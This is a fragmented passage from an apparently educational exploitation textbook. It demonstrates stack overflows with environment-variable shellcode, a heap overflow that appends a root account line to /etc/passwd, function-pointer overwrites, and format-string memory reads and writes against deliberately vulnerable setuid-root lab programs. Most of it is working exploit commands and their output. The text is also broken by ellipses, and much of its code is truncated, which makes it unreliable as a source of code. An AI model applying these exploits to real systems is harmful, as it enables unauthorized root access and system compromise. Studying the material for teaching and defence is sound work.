...
/notesearch
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db
...
1"
...
This will
set up memory for the program, but it will stop before anything happens
...
(gdb) i r esp
esp 0xbffff660 0xbffff660
(gdb) x/24s $esp + 0x240
0xbffff8a0: ""
0xbffff8a1: ""
0xbffff8a2: ""
0xbffff8a3: ""
0xbffff8a4: ""
0xbffff8a5: ""
0xbffff8a6: ""
0xbffff8a7: ""
0xbffff8a8: ""
0xbffff8a9: ""
0xbffff8aa: ""
0xbffff8ab: "i686"
0xbffff8b0: "/home/reader/booksrc/notesearch"
0xbffff8d0: "SSH_AGENT_PID=7531"
0xbffffd56: "SHELLCODE=", '\220'
...
gtkrc-1
...
tar=01;31:*
...
arj=01
;31:*
...
0xbffffb29:
"1;31:*
...
zip=01;31:*
...
Z=01;31:*
...
bz2=01;31:*
...
rpm=01;3
1:*
...
jpg=01;35:*
...
gif=01;35:*
...
pbm=01;35:*
...
ppm=01
;35:*
...
(gdb) x/s 0xbffff8e3
0xbffff8e3: "SHELLCODE=", '\220'
...
(When
the program is run outside of the debugger, these addresses might be a little
different
...
But with a 200-byte NOP sled, these inconsistencies
aren't a problem if an address near the middle of the sled is picked
...
After determining the address of the
injected shellcode instructions, the exploitation is simply a matter of overwriting
the return address with this address
...
/notesearch $(perl -e 'print "\x47\xf9\xff\xbf"x40')
[DEBUG] found a 34 byte note for user id 999
[DEBUG] found a 41 byte note for user id 999
-------[ end of note data ]------sh-3
...
2#
The target address is repeated enough times to overflow the return address, and
execution returns into the NOP sled in the environment variable, which inevitably
leads to the shellcode
...
This usually makes exploitations quite a bit easier
...
In C's standard library there
is a function called getenv(), which accepts the name of an environment variable
as its only argument and returns that variable's memory address
...
c demonstrates the use of getenv()
...
c
#include
h>
int main(int argc, char *argv[]) {
printf("%s is at %p\n", argv[1], getenv(argv[1]));
}
When compiled and run, this program will display the location of a given
environment variable in its memory
...
reader@hacking:~/booksrc $ gcc getenv_example
...
/a
...
/notesearch $(perl -e 'print "\x0b\xf9\xff\xbf"x40')
[DEBUG] found a 34 byte note for user id 999
[DEBUG] found a 41 byte note for user id 999
-------[ end of note data ]-------
sh-3
...
This means the environment
prediction is still off
...
bin)
reader@hacking:~/booksrc $
...
out SLEDLESS
SLEDLESS is at 0xbfffff46
reader@hacking:~/booksrc $
...
The length of the name of the program being
executed seems to have an effect on the address of the environment variables
...
This type of experimentation and pattern recognition is an
important skill for a hacker to have
...
out a
reader@hacking:~/booksrc $
...
out bb
reader@hacking:~/booksrc $
...
out ccc
reader@hacking:~/booksrc $
...
/a
...
The
general trend seems to be a decrease of two bytes in the address of the
environment variable for every single-byte increase in the length of the program
name
...
out, since the difference in length
between the names a
...
This must mean the name of
the executing program is also located on the stack somewhere, which is causing
the shifting
...
This means the crutch of a
NOP sled can be eliminated
...
c program adjusts the address based
on the difference in program name length to provide a very accurate prediction
...
c
#include
h>
#include
*/
ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* Adjust for program name
...
This can be used
to exploit stack-based buffer overflows without the need for a NOP sled
...
c
reader@hacking:~/booksrc $
...
/notesearch
SLEDLESS will be at 0xbfffff3c
reader@hacking:~/booksrc $
...
The use of
environment variables simplifies things considerably when exploiting from the
command line, but these variables can also be used to make exploit code more
reliable
...
c program to execute a
command
...
The -c tells the sh program to execute commands from the
command-line argument passed to it
...
Go to
http://www
...
com/codesearch?q=package:libc+system to see this code in its
entirety
...
2
...
The fork() function starts a
new process, and the execl() function is used to run the command through
/bin/sh with the appropriate command-line arguments
...
If a setuid program uses
system(), the privileges won't be transferred, because /bin/sh has been dropping
privileges since version two
...
We can ignore the fork()
and just focus on the execl() function to run the command
...
The arguments for execl() start
with the path to the target program and are followed by each of the command-line
arguments
...
The last argument is a NULL to
terminate the argument list, similar to how a null byte terminates a string
...
This environment is presented in the form of an array of
pointers to null-terminated strings for each environment variable, and the
environment array itself is terminated with a NULL pointer
...
If the environment array is just the shellcode
as the first string (with a NULL pointer to terminate the list), the only
environment variable will be the shellcode
...
In Linux, the address will be 0xbffffffa, minus the length of the
shellcode in the environment, minus the length of the name of the executed
program
...
All
that's needed in the exploit buffer is the address, repeated enough times to
overflow the return address in the stack, as shown in exploit_nosearch_env
...
exploit_notesearch_env
...
h>
#include
h>
#include
/notesearch");
for(i=0; i < 160; i+=4)
*((unsigned int *)(buffer+i)) = ret;
execle("
...
Also, it doesn't start any additional processes
...
c
reader@hacking:~/booksrc $
...
out
-------[ end of note data ]-------
sh-3
...
As in
auth_overflow
...
This is true regardless of the
memory segment these variables reside in; however, the control tends to be quite
limited
...
While these types of
overflows aren't as standardized as stack-based overflows, they can be just as
effective
...
Two buffers are allocated on the heap, and the first
command-line argument is copied into the first buffer
...
Excerpt from notetaker
...
strcpy(buffer, argv[1]); // Copy into buffer
...
The
distance between these two addresses is 104 bytes
...
/notetaker test
[DEBUG] buffer @ 0x804a008: 'test'
[DEBUG] datafile @ 0x804a070: '/var/notes'
[DEBUG] file descriptor is 3
Note has been saved
...
reader@hacking:~/booksrc $
...
This causes the datafile to be nothing but
a single null byte, which obviously cannot be opened as a file
...
/notetaker $(perl -e 'print "A"x104
...
*** glibc detected ***
...
so
...
so
...
/notetaker[0x8048916]
/lib/tls/i686/cmov/libc
...
6(__libc_start_main+0xdc)[0xb7eafebc]
...
so
...
so
...
5
...
5
...
5
...
5
...
5
...
This causes the program to write to testfile instead of /var/notes, as
it was originally programmed to do
...
Similar to the return address overwrite with stack overflows, there
are control points within the heap architecture itself
...
Since version 2
...
5, these functions have been
rewritten to print debugging information and terminate the program when they
detect problems with the heap header information
...
However, this particular exploit doesn't use heap header
information to do its magic, so by the time free() is called, the program has
already been tricked into writing to a new file with root privileges
...
c
if(write(fd, buffer, strlen(buffer)) == -1) // Write note
...
// Closing file
if(close(fd) == -1)
fatal("in main() while closing file");
printf("Note has been saved
...
/testfile
-rw------- 1 root reader 118 2007-09-09 16:19
...
/testfile
cat:
...
/testfile
?
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAA
AAAAAAAAAtestfile
reader@hacking:~/booksrc $
A string is read until a null byte is encountered, so the entire string is written to
the file as the userinput
...
This also means that since the filename can be controlled, data
can be appended to any file
...
There are probably several clever ways to exploit this type of capability
...
This file
contains all of the usernames, IDs, and login shells for all the users of the system
...
reader@hacking:~/booksrc $ cp /etc/passwd /tmp/passwd
...
The password fields are all filled with the x character, since
the encrypted passwords are stored elsewhere in a shadow file
...
) In addition, any entry in the password
file that has a user ID of 0 will be given root privileges
...
The password can be encrypted using a one-way hashing algorithm
...
To prevent lookup attacks, the algorithm uses a salt value, which when varied
creates a different hash value for the same input password
...
The first argument is
the password, and the second is the salt value
...
reader@hacking:~/booksrc $ perl -e 'print crypt("password", "AA")
...
"\n"'
XXq2wKiyI43A2
reader@hacking:~/booksrc $
Notice that the salt value is always at the beginning of the hash
...
Using the salt value from the stored encrypted password, the system uses
the same one-way hashing algorithm to encrypt whatever text the user typed as
the password
...
This allows the password to be
used for authentication without requiring that the password be stored anywhere
on the system
...
The line to append to
/etc/passwd should look something like this:
myroot:XXq2wKiyI43A2:0:0:me:/root:/bin/bash
However, the nature of this particular heap overflow exploit won't allow that exact
line to be written to /etc/passwd, because the string must end with /etc/passwd
...
This can be compensated for with the clever use of a
symbolic file link, so the entry can both end with /etc/passwd and still be a valid
line in the password file
...
This means that a valid
login shell for the password file is also /tmp/etc/passwd, making the following a
valid password file line:
myroot:XXq2wKiyI43A2:0:0:me:/root:/tmp/etc/passwd
The values of this line just need to be slightly modified so that the portion before
/etc/passwd is exactly 104 bytes long:
reader@hacking:~/booksrc $ perl -e 'print "myroot:XXq2wKiyI43A2:0:0:me:/root:/tmp"' | wc
-c
38
reader@hacking:~/booksrc $ perl -e 'print "myroot:XXq2wKiyI43A2:0:0:"
...
":/root:/tmp"'
| wc -c
86
reader@hacking:~/booksrc $ gdb -q
(gdb) p 104 - 86 + 50
$1 = 68
(gdb) quit
reader@hacking:~/booksrc $ perl -e 'print "myroot:XXq2wKiyI43A2:0:0:"
...
":/root:/tmp"'
| wc -c
104
reader@hacking:~/booksrc $
If /etc/passwd is added to the end of that final string (shown in bold), the string
above will be appended to the end of the /etc/passwd file
...
reader@hacking:~/booksrc $
...
"A"x68
...
*** glibc detected ***
...
so
...
so
...
/notetaker[0x8048916]
/lib/tls/i686/cmov/libc
...
6(__libc_start_main+0xdc)[0xb7eafebc]
...
so
...
so
...
5
...
5
...
5
...
5
...
5
...
c program enough, you will realize
that, similar to at a casino, most of the games are statistically weighted in favor of
the house
...
Perhaps there's a way to even the odds a bit
...
This pointer is stored in the user structure,
which is declared as a global variable
...
From game_of_chance
...
// Global variables
struct user player; // Player struct
The name buffer in the user structure is a likely place for an overflow
...
void input_name() {
char *name_ptr, input_char='\n';
while(input_char == '\n') // Flush any leftover
scanf("%c", &input_char); // newline chars
...
name); // name_ptr = player name's address
while(input_char != '\n') { // Loop until newline
...
scanf("%c", &input_char); // Get the next char
...
}
*name_ptr = 0; // Terminate the string
...
There is nothing to limit
it to the length of the destination name buffer, meaning an overflow is possible
...
This happens in the play_the_game()
function, which is called when any game is selected from the menu
...
if((choice < 1) || (choice > 7))
printf("\n[!!] The number %d is an invalid selection
...
if(choice != last_game) { // If the function ptr isn't set,
if(choice == 1) // then point it at the selected game
player
...
current_game = dealer_no_match;
else
player
...
}
play_the_game(); // Play the game
...
This means that in order to
get the program to call the function pointer without overwriting it, a game must
be played first to set the last_game variable
...
/game_of_chance
-=[ Game of Chance Menu ]=1 - Play the Pick a Number game
2 - Play the No Match Dealer game
3 - Play the Find the Ace game
4 - View current high score
5 - Change your user name
6 - Reset your account at 100 credits
7 - Quit
[Name: Jon Erickson]
[You have 70 credits] -> 1
[DEBUG] current_game pointer @ 0x08048fde
####### Pick a Number ######
This game costs 10 credits to play
...
Pick a number between 1 and 20: 5
The winning number is 17
Sorry, you didn't win
...
/game_of_chance
reader@hack ing:~/booksrc $
You can temporarily suspend the current process by pressing CTRL-Z
...
Back at the shell, we
figure out an appropriate overflow buffer, which can be copied and pasted in as a
name later
...
As
the output below shows, the name buffer is 100 bytes from the current_game
pointer within the user structure
...
c
reader@hacking:~/booksrc $ gdb -q
...
out
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db
...
1"
...
c, line 41
...
out
Breakpoint 1, main () at game_of_chance
...
(gdb) p player
$1 = {uid = 0, credits = 0, highscore = 0, name = '\0'
current_game = 0}
(gdb) x/x &player
...
current_game
0x804b6d0
(gdb) p 0x804b6d0 - 0x804b66c
$2 = 100
(gdb) quit
The program is running
...
This can be copied and pasted into the interactive Game of Chance program
when it is resumed
...
reader@hacking:~/booksrc $ perl -e 'print "A"x100
...
"\n"'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAABBBB
reader@hacking:~/booksrc $ fg
...
-=[ Game of Chance Menu ]=1 - Play the Pick a Number game
2 - Play the No Match Dealer game
3 - Play the Find the Ace game
4 - View current high score
5 - Change your user name
6 - Reset your account at 100 credits
7 - Quit
[Name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB]
[You have 60 credits] -> 1
[DEBUG] current_game pointer @ 0x42424242
Segmentation fault
reader@hacking:~/booksrc $
Select menu option 5 to change the username, and paste in the overflow buffer
...
When menu option 1 is
selected again, the program will crash when it tries to call the function pointer
...
The nm command lists symbols in object files
...
reader@hacking:~/booksrc $ nm game_of_chance
0804b508 d _DYNAMIC
0804b5d4 d _GLOBAL_OFFSET_TABLE_
080496c4 R _IO_stdin_used
w _Jv_RegisterClasses
0804b4f8 d __CTOR_END__
0804b4f4 d __CTOR_LIST__
0804b500 d __DTOR_END__
0804b4fc d __DTOR_LIST__
0804a4f0 r __FRAME_END__
0804b504 d __JCR_END__
0804b504 d __JCR_LIST__
0804b630 A __bss_start
0804b624 D __data_start
08049670 t __do_global_ctors_aux
08048610 t __do_global_dtors_aux
0804b628 D __dso_handle
w __gmon_start__
08049669 T __i686
...
bx
0804b4f4 d __init_array_end
0804b4f4 d __init_array_start
080495f0 T __libc_csu_fini
08049600 T __libc_csu_init
U __libc_start_main@@GLIBC_2
...
0
0804b640 b completed
...
0
08048684 T fatal
080492bf T find_the_ace
08048650 t frame_dummy
080489cc T get_player_data
U getuid@@GLIBC_2
...
0
U open@@GLIBC_2
...
0
U perror@@GLIBC_2
...
0
U rand@@GLIBC_2
...
0
08048aaf T register_new_player
U scanf@@GLIBC_2
...
0
U strcpy@@GLIBC_2
...
0
08048e91 T take_wager
U time@@GLIBC_2
...
0
reader@hacking:~/booksrc $
The jackpot() function is a wonderful target for this exploit
...
Instead, the jackpot() function will just be called
directly, doling out the reward of 100 credits and tipping the scales in the player's
direction
...
The menu selections can be
scripted in a single buffer that is piped to the program's standard input
...
The following example will choose
menu item 1, try to guess the number 7, select n when asked to play again, and
finally select menu item 7 to quit
...
/game_of_chance
-=[ Game of Chance Menu ]=1 - Play the Pick a Number game
2 - Play the No Match Dealer game
3 - Play the Find the Ace game
4 - View current high score
5 - Change your user name
6 - Reset your account at 100 credits
7 - Quit
[Name: Jon Erickson]
[You have 60 credits] ->
[DEBUG] current_game pointer @ 0x08048fde
####### Pick a Number ######
This game costs 10 credits to play
...
Pick a number between 1 and 20: The winning number is 20
Sorry, you didn't win
...
reader@hacking:~/booksrc $
This same technique can be used to script everything needed for the exploit
...
This will overflow
the current_game function pointer, so when the Pick a Number game is played
again, the jackpot() function is called directly
...
"A"x100
...
"1\nn\n"
...
"A"x100
...
"1\nn\n"
...
/game_of_chance
-=[ Game of Chance Menu ]=1 - Play the Pick a Number game
2 - Play the No Match Dealer game
3 - Play the Find the Ace game
4 - View current high score
5 - Change your user name
6 - Reset your account at 100 credits
7 - Quit
[Name: Jon Erickson]
[You have 50 credits] ->
[DEBUG] current_game pointer @ 0x08048fde
####### Pick a Number ######
This game costs 10 credits to play
...
Pick a number between 1 and 20: The winning number is 15
Sorry, you didn't win
...
-=[ Game of Chance Menu ]=1 - Play the Pick a Number game
2 - Play the No Match Dealer game
3 - Play the Find the Ace game
4 - View current high score
5 - Change your user name
6 - Reset your account at 100 credits
7 - Quit
[Name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAp?]
[You have 40 credits] ->
[DEBUG] current_game po inter @ 0x08048d70
*+*+*+*+*+* JACKPOT *+*+*+*+*+*
You have won the jackpot of 100 credits!
You now have 140 credits
Would you like to play again? (y/n) -=[ Game of Chance Menu ]=1 - Play the Pick a Number game
2 - Play the No Match Dealer game
3 - Play the Find the Ace game
4 - View current high score
5 - Change your user name
6 - Reset your account at 100 credits
7 - Quit
[Name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAp?]
[You have 140 credits] ->
Thanks for playing! Bye
...
reader@hacking:~/booksrc $ perl -e 'print "1\n5\nn\n5\n"
...
"\x70\
x8d\x04\x08\n"
...
"y\n"x10
...
/
game_of_chance
-=[ Game of Chance Menu ]=1 - Play the Pick a Number game
2 - Play the No Match Dealer game
3 - Play the Find the Ace game
4 - View current high score
5 - Change your user name
6 - Reset your account at 100 credits
7 - Quit
[Name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAp?]
[You have 140 credits] ->
[DEBUG] current_game pointer @ 0x08048fde
####### Pick a Number ######
This game costs 10 credits to play
...
Pick a number between 1 and 20: The winning number is 1
Sorry, you didn't win
...
-=[ Game of Chance Menu ]=1 - Play the Pick a Number game
2 - Play the No Match Dealer game
3 - Play the Find the Ace game
4 - View current high score
5 - Change your user name
6 - Reset your account at 100 credits
7 - Quit
[Name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAp?]
[You have 130 credits] ->
[DEBUG] current_game pointer @ 0x08048d70
*+*+*+*+*+* JACKPOT *+*+*+*+*+*
You have won the jackpot of 100 credits!
You now have 230 credits
Would you like to play again? (y/n)
[DEBUG] current_game pointer @ 0x08048d70
*+*+*+*+*+* JACKPOT *+*+*+*+*+*
You have won the jackpot of 100 credits!
You now have 330 credits
Would you like to play again? (y/n)
[DEBUG] current_game pointer @ 0x08048d70
*+*+*+*+*+* JACKPOT *+*+*+*+*+*
You have won the jackpot of 100 credits!
You now have 430 credits
Would you like to play again? (y/n)
[DEBUG] current_game pointer @ 0x08048d70
*+*+*+*+*+* JACKPOT *+*+*+*+*+*
You have won the jackpot of 100 credits!
You now have 530 credits
Would you like to play again? (y/n)
[DEBUG] current_game pointer @ 0x08048d70
*+*+*+*+*+* JACKPOT *+*+*+*+*+*
You have won the jackpot of 100 credits!
You now have 630 credits
Would you like to play again? (y/n)
[DEBUG] current_game pointer @ 0x08048d70
*+*+*+*+*+* JACKPOT *+*+*+*+*+*
You have won the jackpot of 100 credits!
You now have 730 credits
Would you like to play aga in? (y/n)
[DEBUG] current_game pointer @ 0x08048d70
*+*+*+*+*+* JACKPOT *+*+*+*+*+*
You have won the jackpot of 100 credits!
You now have 830 credits
Would you like to play again? (y/n)
[DEBUG] current_game pointer @ 0x08048d70
*+*+*+*+*+* JACKPOT *+*+*+*+*+*
You have won the jackpot of 100 credits!
You now have 930 credits
Would you like to play again? (y/n)
[DEBUG] current_game pointer @ 0x08048d70
*+*+*+*+*+* JACKPOT *+*+*+*+*+*
You have won the jackpot of 100 credits!
You now have 1030 credits
Would you like to play again? (y/n)
[DEBUG] current_game pointer @ 0x08048d70
*+*+*+*+*+* JACKPOT *+*+*+*+*+*
You have won the jackpot of 100 credits!
You now have 1130 credits
Would you like to play again? (y/n)
[DEBUG] current_game pointer @ 0x08048d70
*+*+*+*+*+* JACKPOT *+*+*+*+*+*
You have won the jackpot of 100 credits!
You now have 1230 credits
Would you like to play again? (y/n) -=[ Game of Chance Menu ]=1 - Play the Pick a Number game
2 - Play the No Match Dealer game
3 - Play the Find the Ace game
4 - View current high score
5 - Change your user name
6 - Reset your account at 100 credits
7 - Quit
[Name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAp?]
[You have 1230 credits] ->
Change user name
Enter your new name: Your name has been changed
...
reader@hacking:~/booksrc $
As you might have already noticed, this program also runs suid root
...
As with the stackbased overflow, shellcode can be stashed in an environment variable
...
Notice the dash argument following the exploit buffer in the cat
command
...
Even though the root shell doesn't display
its prompt, it is still accessible and still escalates privileges
...
/shellcode
...
/getenvaddr SHELLCODE
...
"A"x100
...
"1\n"' > exploit_buffer
reader@hacking:~/booksrc $ cat exploit_buffer - |
...
Simply pick a number
between 1 and 20, and if you pick the winning number, you
will win the jackpot of 100 credits!
10 credits have been deducted from your account
...
You now have 60 credits
Would you like to play again? (y/n) -=[ Game of Chance Menu ]=1 - Play the Pick a Number game
2 - Play the No Match Dealer game
3 - Play the Find the Ace game
4 - View current high score
5 - Change your user name
6 - Reset your account at 100 credits
7 - Quit
[Name: Jon Erickson]
[You have 60 credits] ->
Change user name
Enter your new name: Your name has been changed
...
Like buffer overflow exploits, format string exploits also depend
on programming mistakes that may not appear to have an obvious impact on
security
...
Although format string
vulnerabilities aren't very common anymore, the following techniques can also be
used in other situations
...
They have been
used extensively with functions like printf() in previous programs
...
Each format parameter expects an additional variable to be passed,
so if there are three format parameters in a format string, there should be three
more arguments to the function (in addition to the format string argument)
...
Paramet er Input Type Out put Type
%d
Value
Decimal
%u
Value
Unsigned decimal
%x
Value
Hexadecimal
%s
Pointer
String
%n
Pointer
Number of bytes written so far
The previous chapter demonstrated the use of the more common format
parameters, but neglected the less common %n format parameter
...
c code demonstrates its use
...
c
#include
h>
int main() {
int A = 5, B = 7, count_one, count_two;
// Example of a %n format string
printf("The number of bytes written up to this point X%n is being stored in
count_one, and the number of bytes up to here X%n is being stored in
count_two
...
B is %x
...
The
following is the output of the program's compilation and execution
...
c
reader@hacking:~/booksrc $
...
out
The number of bytes written up to this point X is being stored in count_one, and the
number of
bytes up to here X is being stored in count_two
...
B is 7
...
When a format function
encounters a %n format parameter, it writes the number of bytes that have been
written by the function to the address in the corresponding function argument
...
The
values are then outputted, revealing that 46 bytes are found before the first %n
and 113 before the second
...
B is %x
...
First the value of B, then the address of A,
then the value of A, and finally the address of the format string
...
The format function iterates through the format string one character at a time
...
If a format parameter is
encountered, the appropriate action is taken, using the argument in the stack
corresponding to that parameter
...
But what if only two arguments are pushed to the stack with a format string that
uses three format parameters? Try removing the last argument from the
printf() line for the stack example so it matches the line shown below
...
B is %x
...
reader@hacking:~/booksrc $ sed -e 's/, B)/)/' fmt_uncommon
...
c
reader@hacking:~/booksrc $ diff fmt_uncommon
...
c
14c14
< printf("A is %d and is at %08x
...
\n", A, &A, B);
--> printf("A is %d and is at %08x
...
\n", A, &A);
reader@hacking:~/booksrc $ gcc fmt_uncommon2
...
/a
...
count_one: 46
count_two: 113
A is 5 and is at bffffc24
...
reader@hacking:~/booksrc $
The result is b7fd6ff4
...
This means 0xb7fd6ff4 is the first value found below the stack frame for
the format function
...
It certainly would be a lot
more useful if there were a way to control either the number of arguments passed
to or expected by a format function
...
The Format String Vulnerability
Sometimes programmers use printf(string) instead of printf("%s", string)
to print strings
...
The format function is passed the
address of the string, as opposed to the address of a format string, and it iterates
through the string, printing each character
...
c
...
c
#include
h>
#include
c
...
c
reader@hacking:~/booksrc $ sudo chown root:root
...
/fmt_vuln
reader@hacking:~/booksrc $
...
But what happens if the string
contains a format parameter? The format function should try to evaluate the
format parameter and access the appropriate function argument by adding to the
frame pointer
...
reader@hacking:~/booksrc $
...
This process can be used repeatedly to
examine stack memory
...
/fmt_vuln $(perl -e 'print "%08x
...
%08x
...
%08x
...
%08x
...
%08x
...
%08x
...
%08x
...
%08x
...
%08x
...
%08x
...
%08x
...
%08x
...
%08x
...
%08x
...
%08x
...
%08x
...
%08x
...
%08x
...
%08x
...
%08x
...
%08x
...
b7fe75fc
...
78383025
...
30252e78
...
2e783830
...
3830252e
...
252e7838
...
78383025
...
30252e78
...
2e783830
...
3830252e
...
2
52e7838
...
78383025
...
30252e78
...
2e783830
...
3830252e
...
252e78
38
...
78383025
...
30252e78
...
2e783830
...
3830252e
...
Remember that each four-byte
word is backward, due to the little-endian architecture
...
Wonder what those bytes are?
reader@hacking:~/booksrc $ printf "\x25\x30\x38\x78\x2e\n"
%08x
...
Because the
format function will always be on the highest stack frame, as long as the format
string has been stored anywhere on the stack, it will be located below the current
frame pointer (at a higher memory address)
...
It is particularly useful if format parameters
that pass by reference are used, such as %s or %n
...
Since it's possible to read the data of the original format string, part of the
original format string can be used to supply an address to the %s format
parameter, as shown here:
reader@hacking:~/booksrc $
...
%08x
...
%08x
The right way to print user-controlled input:
AAAA%08x
...
%08x
...
b7fe75fc
...
41414141
[*] test_val @ 0x08049794 = -72 0xffffffb8
reader@hacking:~/booksrc $
The four bytes of 0x41 indicate that the fourth format parameter is reading from
the beginning of the format string to get its data
...
This will cause the program to crash in a segmentation fault, since
this isn't a valid address
...
reader@hacking:~/booksrc $ env | grep PATH
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games
reader@hacking:~/booksrc $
...
/fmt_vuln
PATH will be at 0xbffffdd7
reader@hacking:~/booksrc $
...
%08x
...
%s
The right way to print user-controlled input:
????%08x
...
%08x
...
b7fe75fc
...
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:
/bin:/
usr/games
[*] test_val @ 0x08049794 = -72 0xffffffb8
reader@hacking:~/booksrc $
Here the getenvaddr program is used to get the address for the environment
variable PATH
...
The fourth format parameter of %s reads from the beginning of the format string,
thinking it's the address that was passed as a function argument
...
Now that the distance between the end of the stack frame and the beginning of
the format string memory is known, the field-width arguments can be omitted in
the %x format parameters
...
Using this technique, any memory address can be examined as
a string
...
Now things are getting interesting
...
c program, just begging to be overwritten
...
reader@hacking:~/booksrc $
...
%08x
...
%s
The right way to print user-controlled input:
????%08x
...
%08x
...
b7fe75fc
...
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:
/bin:/
usr/games
[*] test_val @ 0x08049794 = -72 0xffffffb8
reader@hacking:~/booksrc $
...
%08x
...
%n
The right way to print user-controlled input:
??%08x
...
%08x
...
b7fe75fc
...
[*] test_val @ 0x08049794 = 31 0x0000001f
reader@hacking:~/booksrc $
As this shows, the test_val variable can indeed be overwritten using the %n
format parameter
...
This can be controlled to a greater degree by
manipulating the field width option
...
/fmt_vuln $(printf "\x94\x97\x04\x08")%x%x%x%n
The right way to print user-controlled input:
??%x%x%x%n
The wrong way to print user-controlled input:
??bffff3d0b7fe75fc0
[*] test_val @ 0x08049794 = 21 0x00000015
reader@hacking:~/booksrc $
...
/fmt_vuln $(printf "\x94\x97\x04\x08")%x%x%180x%n
The right way to print user-controlled input:
??%x%x%180x%n
The wrong way to print user-controlled input:
??bffff3d0b7fe75fc
0
[*] test_val @ 0x08049794 = 200 0x000000c8
reader@hacking:~/booksrc $
...
These lines, in turn, can be used to control the number of
bytes written before the %n format parameter
...
Looking at the hexadecimal representation of the test_val value, it's apparent
that the least significant byte can be controlled fairly well
...
) This detail can be used to write an entire address
...
In
memory, the first byte of the test variable should be 0xAA, then 0xBB, then 0xCC,
and finally 0xDD
...
The first write
will write the value 0x000000aa, the second 0x000000bb, the third 0x000000cc,
and finally 0x000000dd
...
reader@hacking:~/booksrc $
...
/fmt_vuln $(printf "\x94\x97\x04\x08")%x%x%150x%n
The right way to print user-controlled input:
??%x%x%150x%n
The wrong way to print user-controlled input:
??bffff3d0b7fe75fc
0
[*] test_val @ 0x08049794 = 170 0x000000aa
reader@hacking:~/booksrc $
The last %x format parameter uses 8 as the field width to standardize the output
...
Since the first overwrite puts 28 into test_val,
using 150 as the field width instead of 8 should control the least significant byte of
test_val to 0xAA
...
Another argument is needed for another %xformat
parameter to increment the byte count to 187, which is 0xBB in decimal
...
Since this is all still in the
memory of the format string, it can be easily controlled
...
After that, the next memory address to be written to, 0x08049755, should be put
into memory so the second %n format parameter can access it
...
But all of these bytes
of memory are also printed by the format function, thus incrementing the byte
counter used for the %n format parameter
...
Perhaps we should think about the beginning of the format string ahead of time
...
Each one will need to have a memory address
passed to it, and among them all, four bytes of junk are needed to properly
increment the byte counter for the %n format parameters
...
For the entire write procedure, the
beginning of the format string should look like this:
Figure 0x300-4
...
reader@hacking:~/booksrc $
...
/fmt_vuln $(printf "\x94\x97\x04\x08JUNK\x95\x97\x04\x08JUNK\
x96\
x97\x04\x08JUNK\x97\x97\x04\x08")%x%x%126x%n
The right way to print user-controlled input:
??JUNK??JUNK??JUNK??%x%x%126x%n
The wrong way to print user-controlled input:
??JUNK??JUNK??JUNK??bffff3c0b7fe75fc
0
[*] test_val @ 0x08049794 = 170 0x000000aa
reader@hacking:~/booksrc $
The addresses and junk data at the beginning of the format string changed the
value of the necessary field width option for the %x format parameter
...
Another way this
could have been done is to subtract 24 from the previous field width value of 150,
since 6 new 4-byte words have been added to the front of the format string
...
reader@hacking:~/booksrc $ gdb -q --batch -ex "p 0xbb - 0xaa"
$1 = 17
reader@hacking:~/booksrc $
...
A hexadecimal
calculator quickly shows that 17 more bytes need to be written before the next %n
format parameter
...
This process can be repeated for the third and fourth writes
...
/fmt_vuln $(printf "\x94\x97\x04\x08JUNK\x95\x97\x04\x08JUNK\
x96\
x97\x04\x08JUNK\x97\x97\x04\x08")%x%x%126x%n%17x%n%17x%n%17x%n
The right way to print user-controlled input:
??JUNK??JUNK??JUNK??%x%x%126x%n%17x%n%17x%n%17x%n
The wrong way to print user-controlled input:
??JUNK??JUNK??JUNK??bffff3b0b7fe75fc
0 4b4e554a 4b4e554a 4b4e554a
[*] test_val @ 0x08049794 = -573785174 0xddccbbaa
reader@hacking:~/booksrc $
By controlling the least significant byte and performing four writes, an entire
address can be written to any memory address
...
This can be quickly explored by statically declaring another initialized variable
called next_val, right after test_val, and also displaying this value in the debug
output
...
Here, next_val is initialized with the value 0x11111111, so the effect of the write
operations on it will be apparent
...
c > fmt_vuln2
...
c fmt_vuln2
...
c
reader@hacking:~/booksrc $
...
However, next_val is shown to be adjacent to it
...
Last time, a very convenient address of oxdccbbaa was used
...
But what if an address like 0x0806abcd is used? With this address, the first
byte of 0xCD is easy to write using the %n format parameter by outputting 205
bytes total bytes with a field width of 161
...
It's easy to increment the
byte counter for the %n format parameter, but it's impossible to subtract from it
...
/fmt_vuln2 AAAA%x%x%x%x
The right way to print user-controlled input:
AAAA%x%x%x%x
The wrong way to print user-controlled input:
AAAAbffff3d0b7fe75fc041414141
[*] test_val @ 0x080497f4 = -72 0xffffffb8
[*] next_val @ 0x080497f8 = 286331153 0x11111111
reader@hacking:~/booksrc $ gdb -q --batch -ex "p 0xcd - 5"
$1 = 200
reader@hacking:~/booksrc $
...
